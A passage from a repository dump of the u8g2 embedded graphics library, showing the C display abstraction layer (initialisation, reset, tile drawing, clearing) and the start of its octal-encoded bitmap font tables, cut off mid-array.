    "content": "/*\n  \n  u8x8_display.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  \n  Abstraction layer for the graphics controller.\n  Main goal is the placement of a 8x8 pixel block (tile) on the display.\n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n/*==========================================*/\n/* internal library function */\n\n/*\n  this is a helper function for the U8X8_MSG_DISPLAY_SETUP_MEMORY function.\n  It can be called within the display callback function to carry out the usual standard tasks.\n  \n*/\nvoid u8x8_d_helper_display_setup_memory(u8x8_t *u8x8, const u8x8_display_info_t *display_info)\n{\n      /* 1) set display info struct */\n      u8x8->display_info = display_info;\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n}\n\n/*\n  this is a helper function for the U8X8_MSG_DISPLAY_INIT function.\n  It can be called within the display callback function to carry out the usual standard tasks.\n  \n*/\nvoid u8x8_d_helper_display_init(u8x8_t *u8x8)\n{\n      /* 2) apply port directions to the GPIO lines and apply default values for the IO lines*/\n      u8x8_gpio_Init(u8x8);\n      u8x8_cad_Init(u8x8);              /* this will also call U8X8_MSG_BYTE_INIT, byte init will NOT call GPIO_INIT */\n\n      /* 3) do reset */\n      u8x8_gpio_SetReset(u8x8, 1);\n      u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_MILLI, u8x8->display_info->reset_pulse_width_ms);\n      u8x8_gpio_SetReset(u8x8, 0);\n      u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_MILLI, u8x8->display_info->reset_pulse_width_ms);\n      u8x8_gpio_SetReset(u8x8, 1);\n      u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_MILLI, u8x8->display_info->post_reset_wait_ms);\n}    \n\n/*==========================================*/\n/* official functions */\n\nuint8_t u8x8_DrawTile(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t cnt, uint8_t *tile_ptr)\n{\n  u8x8_tile_t tile;\n  tile.x_pos = x;\n  tile.y_pos = y;\n  tile.cnt = cnt;\n  tile.tile_ptr = tile_ptr;\n  return u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_DRAW_TILE, 1, (void *)&tile);\n}\n\n/* should be implemented as macro */\nvoid u8x8_SetupMemory(u8x8_t *u8x8)\n{\n  u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SETUP_MEMORY, 0, NULL);  \n}\n\n/*\n  This will just init the display interface, compared to InitDisplay, it will not issue a reset and also not upload the init code.\n  Comparison:\n  Call                                                  u8x8_InitInterface              u8x8_InitDisplay\n  Init Interface                                                yes                                     yes\n  Reset Display                                                 no                                      yes\n  Upload Display Init Code                              no                                      yes\n\n  u8x8_InitInterface() is an alternative function to u8x8_InitDisplay(). Do not call both.\n  \n*/\nvoid u8x8_InitInterface(u8x8_t *u8x8)\n{\n  u8x8_gpio_Init(u8x8);\n  u8x8_cad_Init(u8x8);              /* this will also call U8X8_MSG_BYTE_INIT, byte init will NOT call GPIO_INIT */\n}\n\n/*\n  This will sent the display init message to the display.\n  The display itself will then call u8x8_d_helper_display_init() from above. This includes:\n    GPIO Init (set port directions)\n    BYTE init (part of CAD init: which may set some levels)\n    CAD init (which will set things like I2C default address)\n    Issue a reset to the display: This will usually turn off the display\n  Additonally each display will set the init code to the display, which will also turn of the display in most cases (Arduino code disable power save mode later)\n\n  Actually this procedure should be better called InitInterfaceAndDisplay, because it actually does both.\n  (actually u8x8_InitInterface() is not called directly but only u8x8_gpio_Init and u8x8_cad_Init which\n  in turn is called by u8x8_InitInterface())\n\n\n  InitDisplay is called by the Arduino begin() function \n\n  In some cases it is not required to init the display (for example if the display is already running, but the controller comes out of deep sleep mode).\n  Then InitDisplay can be skipped, but u8x8_InitInterface()  (== u8x8_gpio_Init() and u8x8_cad_Init()) need to be executed.\n\n*/\nvoid u8x8_InitDisplay(u8x8_t *u8x8)\n{\n  u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_INIT, 0, NULL);       /* this will call u8x8_d_helper_display_init() and send the init seqence to the display */\n  /* u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SET_FLIP_MODE, 0, NULL);  */ /* It would make sense to call flip mode 0 here after U8X8_MSG_DISPLAY_INIT */\n}\n\nvoid u8x8_SetPowerSave(u8x8_t *u8x8, uint8_t is_enable)\n{\n  u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SET_POWER_SAVE, is_enable, NULL);  \n}\n\nvoid u8x8_SetFlipMode(u8x8_t *u8x8, uint8_t mode)\n{\n  u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SET_FLIP_MODE, mode, NULL);  \n}\n\nvoid u8x8_SetContrast(u8x8_t *u8x8, uint8_t value)\n{\n  u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SET_CONTRAST, value, NULL);  \n}\n\nvoid u8x8_RefreshDisplay(u8x8_t *u8x8)\n{\n  u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_REFRESH, 0, NULL);  \n}\n\nvoid u8x8_ClearDisplayWithTile(u8x8_t *u8x8, const uint8_t *buf)\n{\n  u8x8_tile_t tile;\n  uint8_t h;\n\n  tile.x_pos = 0;\n  tile.cnt = 1;\n  tile.tile_ptr = (uint8_t *)buf;\t\t/* tile_ptr should be const, but isn't */\n  \n  h = u8x8->display_info->tile_height;\n  tile.y_pos = 0;\n  do\n  {\n    u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_DRAW_TILE, u8x8->display_info->tile_width, (void *)&tile);\n    tile.y_pos++;\n  } while( tile.y_pos < h );\n}\n\nvoid u8x8_ClearDisplay(u8x8_t *u8x8)\n{\n  uint8_t buf[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };\n  u8x8_ClearDisplayWithTile(u8x8, buf);\n}\n\nvoid u8x8_FillDisplay(u8x8_t *u8x8)\n{\n  uint8_t buf[8] = { 255, 255, 255, 255, 255, 255, 255, 255 };\n  u8x8_ClearDisplayWithTile(u8x8, buf);\n}\n\nvoid u8x8_ClearLine(u8x8_t *u8x8, uint8_t line)\n{\n  uint8_t buf[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };\n  u8x8_tile_t tile;\n  if ( line < u8x8->display_info->tile_height )\n  {\n    tile.x_pos = 0;\n    tile.y_pos = line;\n    tile.cnt = 1;\n    tile.tile_ptr = (uint8_t *)buf;\t\t/* tile_ptr should be const, but isn't */\n    u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_DRAW_TILE, u8x8->display_info->tile_width, (void *)&tile);\n  }  \n}"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_fonts.c",
    "content": "/*\n  u8x8_fonts.c\n*/\n#include \"u8x8.h\"\n\n/*\n  Fontname: -FreeType-Amstrad CPC extended-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1\n  Copyright: Copyright ruboku 2008\n  Glyphs: 222/228\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_amstrad_cpc_extended_f[1796] U8X8_FONT_SECTION(\"u8x8_font_amstrad_cpc_extended_f\") = \n  \" \\377\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\24\\177\\177\\34\"\n  \"\\177\\177\\24\\0\\0$*\\177\\177*\\22\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\0\\0\\0\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\10*>\\34\\34>*\\10\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177QIE\\177>\\0\\0@B\\177\\177@@\\0\\0r{IIof\\0\\0\\42aI\"\n  \"I\\177\\66\\0\\30\\24R\\177\\177P\\20\\0\\0'oIIy\\63\\0\\0>\\177II{\\62\\0\\0\\3\\1q\"\n  \"}\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0&oII\\177>\\0\\0\\0\\0ll\\0\\0\\0\\0\\0\\200\\354\"\n  \"l\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\0$$$$$$\\0\\0Ac\\66\\34\\10\\0\\0\\0\\2\\3Q\"\n  \"Y\\17\\6\\0>\\177A]]_\\36\\0\\0|~\\23\\23~|\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0<~CA\"\n  \"Qsr\\0\\0\\177\\177\\10\\10\\177\\177\\0\\0AA\\177\\177AA\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0\\34>cA\"\n  \"c>\\34\\0A\\177\\177I\\11\\7\\6\\0<~CQ\\63n\\134\\0A\\177\\177\\11\\31\\77f\\0\\0&oI\"\n  \"I{\\62\\0\\0\\3A\\177\\177A\\3\\0\\0\\77\\177@@\\177\\77\\0\\0\\37\\77``\\77\\37\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0as\\36\\14\\36sa\\0\\0\\7OxxO\\7\\0GcqYMgs\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\2\\6\\14\\10\\0\\0 tTT<x@\\0C\\77\\177DD|\\70\\0\\0\\70|D\"\n  \"Dl(\\0\\70|DE\\77\\177@\\0\\0\\70|TT\\134\\30\\0\\0H~\\177I\\3\\2\\0\\0\\230\\274\\244\"\n  \"\\244\\374|\\0A\\177\\177\\10\\4|x\\0\\0\\0D}}@\\0\\0\\0`\\340\\200\\204\\374}\\0A\\177\\177\\20\"\n  \"\\70lD\\0\\0\\0A\\177\\177@\\0\\0x|\\14\\70\\14|x\\0\\4|x\\4\\4xx\\0\\0\\70|D\"\n  \"D|\\70\\0\\204\\374\\370\\244$<\\30\\0\\30<$\\244\\370\\374\\204\\0D|xD\\14\\10\\0\\0\\0H\\134T\"\n  \"Tt \\0\\0\\4\\77\\177Dd \\0\\0<|@@||\\0\\0\\34<``<\\34\\0<|`\\70\"\n  \"`|<\\0Dl\\70\\20\\70lD\\0\\0\\234\\274\\240\\240\\374|\\0\\0Ldt\\134LD\\0\\0AAw\"\n  \">\\10\\10\\0\\0\\0\\0\\177\\177\\0\\0\\0\\0\\10\\10>wAA\\0\\2\\3\\1\\3\\2\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\30\\30\\30\\30\\30\\30\\30\\30\\0\\0\\0\\37\\37\\30\\30\\30\\0\\0\\0\\370\"\n  \"\\370\\30\\30\\30\\30\\30\\30\\370\\370\\0\\0\\0\\30\\30\\30\\37\\37\\0\\0\\0\\30\\30\\30\\37\\37\\30\\30\\30\\0\\0\\0\\377\"\n  \"\\377\\30\\30\\30\\30\\30\\30\\370\\370\\30\\30\\30\\30\\30\\30\\377\\377\\0\\0\\0\\30\\30\\30\\377\\377\\30\\30\\30\\0\\10\\34>\"\n  \"\\10\\10\\10\\0\\0\\10\\14>\\14\\10\\0\\0\\0\\10\\10\\10>\\34\\10\\0\\0\\10\\30>\\30\\10\\0\\0\\0\\0\\0\\0\"\n  \"\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\17\\17\\17\\17\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\377\\360\\360\\360\\360\\17\\17\\17\\17\\360\\360\\360\\360\\377\\377\\377\\377\\17\\17\\17\\17\\0\\0\\0\\0\\17\\17\\17\\17\"\n  \"\\360\\360\\360\\360\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\360\\360\\360\\360\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\374\\374\\374\\374\"\n  \"\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0}}\\0\\0\\0\\70|D\\376Dl(\\0H~\\177I\"\n  \"Icb\\0\\0Z<$$<Z\\0\\0\\25W~~W\\25\\0\\0\\0\\0ww\\0\\0\\0@H~w\"\n  \"\\35\\11\\1\\0\\0\\3\\3\\0\\0\\3\\3\\0\\34\\42]UU\\42\\34\\0H]UO^P\\0\\0\\10\\34\\66*\"\n  \"\\34\\66\\42\\0\\0\\10\\10\\10\\10\\10\\30\\0\\0\\0\\20\\20\\20\\0\\0\\0\\34\\42]MU\\42\\34\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\16\\33\\21\\33\\16\\0\\0\\0HH~~HH\\0\\0\\31\\35\\25\\27\\22\\0\\0\\0\\21\\25\\25\"\n  \"\\37\\12\\0\\0\\0\\0\\4\\7\\3\\0\\0\\0\\0\\370\\370@@x\\70\\0\\2\\17\\177\\177\\1\\177\\1\\0\\0\\0\\0\\30\"\n  \"\\30\\0\\0\\0\\0\\0@@`\\0\\0\\0\\0\\0\\21\\37\\37\\20\\0\\0\\0N[Q[N\\0\\0\\42\\66\\34*\"\n  \"\\66\\34\\10\\0\\2\\37\\0\\60(| \\0\\2\\37\\0HdTH\\0\\21\\25\\25\\12\\60(| \\0\\60xM\"\n  \"Ep\\60\\0\\0x}\\25\\24|x\\0\\0x|\\24\\25}x\\0\\0x|\\25\\25|x\\0\\0x}\\25\"\n  \"\\25}x\\0\\0y}\\24\\24}y\\0\\0x~\\25\\25~x\\0x|\\22\\177\\177Ik\\0\\14\\236\\263\\341\"\n  \"\\341\\63\\22\\0D}}TTTD\\0D||UUTD\\0D|}UUUD\\0D}}T\"\n  \"UUD\\0\\0DE}|DD\\0\\0DD|}ED\\0\\0DE}}ED\\0\\0EE|\"\n  \"|EE\\0I\\177\\177Ic>\\34\\0\\0zy\\21\\42zy\\0\\70|EED|\\70\\0\\70|DD\"\n  \"E}\\70\\0\\70|EEE|\\70\\0\\70}EEE}\\70\\0\\70}EDE}\\70\\0Bf<\\30\"\n  \"<fB\\0\\134>s]g>\\35\\1\\0<}A@|<\\0\\0<|@A}<\\0\\0<}A\"\n  \"A}<\\0\\0=}@@}=\\0\\0\\14]qp\\134\\14\\0\\177\\177\\42\\42\\42\\34\\0\\0~\\177II\"\n  \"I>\\66\\0 uUT<x@\\0 tTU=x@\\0 tUU=x@\\0 uUU\"\n  \"=y@\\0 uUT=y@\\0 vUU>x@\\0 tT|\\64TX\\0\\0\\30<\\244\"\n  \"\\344$(\\0\\0\\70}UT\\134\\30\\0\\0\\70|TU]\\30\\0\\0\\70}UU]\\30\\0\\0\\71}T\"\n  \"T]\\31\\0\\0\\0I{z@\\0\\0\\0\\0Hz{A\\0\\0\\0\\0JyyB\\0\\0\\0\\2Jx\"\n  \"xB\\2\\0\\0\\65uKN}\\61\\0\\10zq\\11\\12zq\\0\\0\\60yKJx\\60\\0\\0\\60xJ\"\n  \"Ky\\60\\0\\0\\60zIIz\\60\\0\\0\\62yIJz\\61\\0\\0\\62zHHz\\62\\0\\0\\10\\10k\"\n  \"k\\10\\10\\0\\200\\260xhXx\\64\\4\\0\\70yCBxx\\0\\0\\70xBCyx\\0\\0\\70zA\"\n  \"Azx\\0\\0:z@@zz\\0\\0\\230\\270\\242\\243\\371x\\0\\0~$$$\\30\\0\\0\\0\\232\\272\\240\"\n  \"\\240\\372z\";\n/*\n  Fontname: -FreeType-Amstrad CPC extended-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1\n  Copyright: Copyright ruboku 2008\n  Glyphs: 95/228\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_amstrad_cpc_extended_r[764] U8X8_FONT_SECTION(\"u8x8_font_amstrad_cpc_extended_r\") = \n  \" ~\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\24\\177\\177\\34\"\n  \"\\177\\177\\24\\0\\0$*\\177\\177*\\22\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\0\\0\\0\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\10*>\\34\\34>*\\10\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177QIE\\177>\\0\\0@B\\177\\177@@\\0\\0r{IIof\\0\\0\\42aI\"\n  \"I\\177\\66\\0\\30\\24R\\177\\177P\\20\\0\\0'oIIy\\63\\0\\0>\\177II{\\62\\0\\0\\3\\1q\"\n  \"}\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0&oII\\177>\\0\\0\\0\\0ll\\0\\0\\0\\0\\0\\200\\354\"\n  \"l\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\0$$$$$$\\0\\0Ac\\66\\34\\10\\0\\0\\0\\2\\3Q\"\n  \"Y\\17\\6\\0>\\177A]]_\\36\\0\\0|~\\23\\23~|\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0<~CA\"\n  \"Qsr\\0\\0\\177\\177\\10\\10\\177\\177\\0\\0AA\\177\\177AA\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0\\34>cA\"\n  \"c>\\34\\0A\\177\\177I\\11\\7\\6\\0<~CQ\\63n\\134\\0A\\177\\177\\11\\31\\77f\\0\\0&oI\"\n  \"I{\\62\\0\\0\\3A\\177\\177A\\3\\0\\0\\77\\177@@\\177\\77\\0\\0\\37\\77``\\77\\37\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0as\\36\\14\\36sa\\0\\0\\7OxxO\\7\\0GcqYMgs\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\2\\6\\14\\10\\0\\0 tTT<x@\\0C\\77\\177DD|\\70\\0\\0\\70|D\"\n  \"Dl(\\0\\70|DE\\77\\177@\\0\\0\\70|TT\\134\\30\\0\\0H~\\177I\\3\\2\\0\\0\\230\\274\\244\"\n  \"\\244\\374|\\0A\\177\\177\\10\\4|x\\0\\0\\0D}}@\\0\\0\\0`\\340\\200\\204\\374}\\0A\\177\\177\\20\"\n  \"\\70lD\\0\\0\\0A\\177\\177@\\0\\0x|\\14\\70\\14|x\\0\\4|x\\4\\4xx\\0\\0\\70|D\"\n  \"D|\\70\\0\\204\\374\\370\\244$<\\30\\0\\30<$\\244\\370\\374\\204\\0D|xD\\14\\10\\0\\0\\0H\\134T\"\n  \"Tt \\0\\0\\4\\77\\177Dd \\0\\0<|@@||\\0\\0\\34<``<\\34\\0<|`\\70\"\n  \"`|<\\0Dl\\70\\20\\70lD\\0\\0\\234\\274\\240\\240\\374|\\0\\0Ldt\\134LD\\0\\0AAw\"\n  \">\\10\\10\\0\\0\\0\\0\\177\\177\\0\\0\\0\\0\\10\\10>wAA\\0\\2\\3\\1\\3\\2\\1\\1\";\n/*\n  Fontname: -FreeType-Amstrad CPC extended-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1\n  Copyright: Copyright ruboku 2008\n  Glyphs: 18/228\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_amstrad_cpc_extended_n[220] U8X8_FONT_SECTION(\"u8x8_font_amstrad_cpc_extended_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10*>\\34\\34>*\\10\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177QIE\\177>\\0\\0@B\\177\\177@@\\0\\0r{IIof\\0\\0\\42aI\"\n  \"I\\177\\66\\0\\30\\24R\\177\\177P\\20\\0\\0'oIIy\\63\\0\\0>\\177II{\\62\\0\\0\\3\\1q\"\n  \"}\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0&oII\\177>\\0\\0\\0\\0ll\\0\\0\";\n/*\n  Fontname: -FreeType-Amstrad CPC extended-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1\n  Copyright: Copyright ruboku 2008\n  Glyphs: 64/228\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_amstrad_cpc_extended_u[517] U8X8_FONT_SECTION(\"u8x8_font_amstrad_cpc_extended_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\24\\177\\177\\34\"\n  \"\\177\\177\\24\\0\\0$*\\177\\177*\\22\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\0\\0\\0\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\10*>\\34\\34>*\\10\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177QIE\\177>\\0\\0@B\\177\\177@@\\0\\0r{IIof\\0\\0\\42aI\"\n  \"I\\177\\66\\0\\30\\24R\\177\\177P\\20\\0\\0'oIIy\\63\\0\\0>\\177II{\\62\\0\\0\\3\\1q\"\n  \"}\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0&oII\\177>\\0\\0\\0\\0ll\\0\\0\\0\\0\\0\\200\\354\"\n  \"l\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\0$$$$$$\\0\\0Ac\\66\\34\\10\\0\\0\\0\\2\\3Q\"\n  \"Y\\17\\6\\0>\\177A]]_\\36\\0\\0|~\\23\\23~|\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0<~CA\"\n  \"Qsr\\0\\0\\177\\177\\10\\10\\177\\177\\0\\0AA\\177\\177AA\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0\\34>cA\"\n  \"c>\\34\\0A\\177\\177I\\11\\7\\6\\0<~CQ\\63n\\134\\0A\\177\\177\\11\\31\\77f\\0\\0&oI\"\n  \"I{\\62\\0\\0\\3A\\177\\177A\\3\\0\\0\\77\\177@@\\177\\77\\0\\0\\37\\77``\\77\\37\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0as\\36\\14\\36sa\\0\\0\\7OxxO\\7\\0GcqYMgs\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--7-70-75-75-C-50-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 191/1848\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_5x7_f[1796] U8X8_FONT_SECTION(\"u8x8_font_5x7_f\") = \n  \" \\377\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0^\\0\\0\\0\\0\\0\\0\\16\\0\\16\\0\\0\\0\\0(|(|\"\n  \"(\\0\\0\\0\\10T|T \\0\\0\\0&\\20\\10d\\0\\0\\0\\0(T(@\\0\\0\\0\\0\\0\\0\\16\\0\"\n  \"\\0\\0\\0\\0\\0<B\\0\\0\\0\\0\\0\\0B<\\0\\0\\0\\0\\0\\0T\\70T\\0\\0\\0\\0\\20\\20|\\20\"\n  \"\\20\\0\\0\\0\\0\\200` \\0\\0\\0\\0\\20\\20\\20\\20\\0\\0\\0\\0\\0``\\0\\0\\0\\0\\0 \\20\\10\\4\"\n  \"\\0\\0\\0\\0\\0<B<\\0\\0\\0\\0\\0D~@\\0\\0\\0\\0DbRL\\0\\0\\0\\0\\42JJ\\66\"\n  \"\\0\\0\\0\\0\\30\\24~\\20\\0\\0\\0\\0.JJ\\62\\0\\0\\0\\0<JJ\\60\\0\\0\\0\\0\\2b\\32\\6\"\n  \"\\0\\0\\0\\0\\64JJ\\64\\0\\0\\0\\0\\14RR<\\0\\0\\0\\0\\0ll\\0\\0\\0\\0\\0\\200l,\\0\"\n  \"\\0\\0\\0\\0\\0\\20(D\\0\\0\\0\\0((((\\0\\0\\0\\0\\0D(\\20\\0\\0\\0\\0\\0\\4R\\14\"\n  \"\\0\\0\\0\\0<BZ\\34\\0\\0\\0\\0|\\22\\22|\\0\\0\\0\\0~JJ\\64\\0\\0\\0\\0<BB$\"\n  \"\\0\\0\\0\\0~BB<\\0\\0\\0\\0~JJB\\0\\0\\0\\0~\\12\\12\\2\\0\\0\\0\\0<BRt\"\n  \"\\0\\0\\0\\0~\\10\\10~\\0\\0\\0\\0\\0B~B\\0\\0\\0\\0 @@>\\0\\0\\0\\0~\\30$B\"\n  \"\\0\\0\\0\\0~@@@\\0\\0\\0\\0~\\14\\14~\\0\\0\\0\\0~\\14\\60~\\0\\0\\0\\0<BB<\"\n  \"\\0\\0\\0\\0~\\22\\22\\14\\0\\0\\0\\0<bB\\274\\0\\0\\0\\0~\\22\\62L\\0\\0\\0\\0$JR$\"\n  \"\\0\\0\\0\\0\\0\\2~\\2\\0\\0\\0\\0>@@>\\0\\0\\0\\0\\36``\\36\\0\\0\\0\\0~\\60\\60~\"\n  \"\\0\\0\\0\\0f\\30\\30f\\0\\0\\0\\0\\0\\16p\\16\\0\\0\\0\\0bRJF\\0\\0\\0\\0\\0~BB\"\n  \"\\0\\0\\0\\0\\4\\10\\20 \\0\\0\\0\\0\\0BB~\\0\\0\\0\\0\\0\\4\\2\\4\\0\\0\\0\\0@@@@\"\n  \"\\0\\0\\0\\0\\0\\2\\4\\0\\0\\0\\0\\0\\60H(x\\0\\0\\0\\0~HH\\60\\0\\0\\0\\0\\60HH\\0\"\n  \"\\0\\0\\0\\0\\60HH~\\0\\0\\0\\0\\60hX\\20\\0\\0\\0\\0\\20|\\22\\4\\0\\0\\0\\0P\\250\\250\\230\"\n  \"\\0\\0\\0\\0~\\10\\10p\\0\\0\\0\\0\\0Hz@\\0\\0\\0\\0\\0@\\200z\\0\\0\\0\\0~\\20(@\"\n  \"\\0\\0\\0\\0\\0B~@\\0\\0\\0\\0x\\20\\30p\\0\\0\\0\\0x\\10\\10p\\0\\0\\0\\0\\60HH\\60\"\n  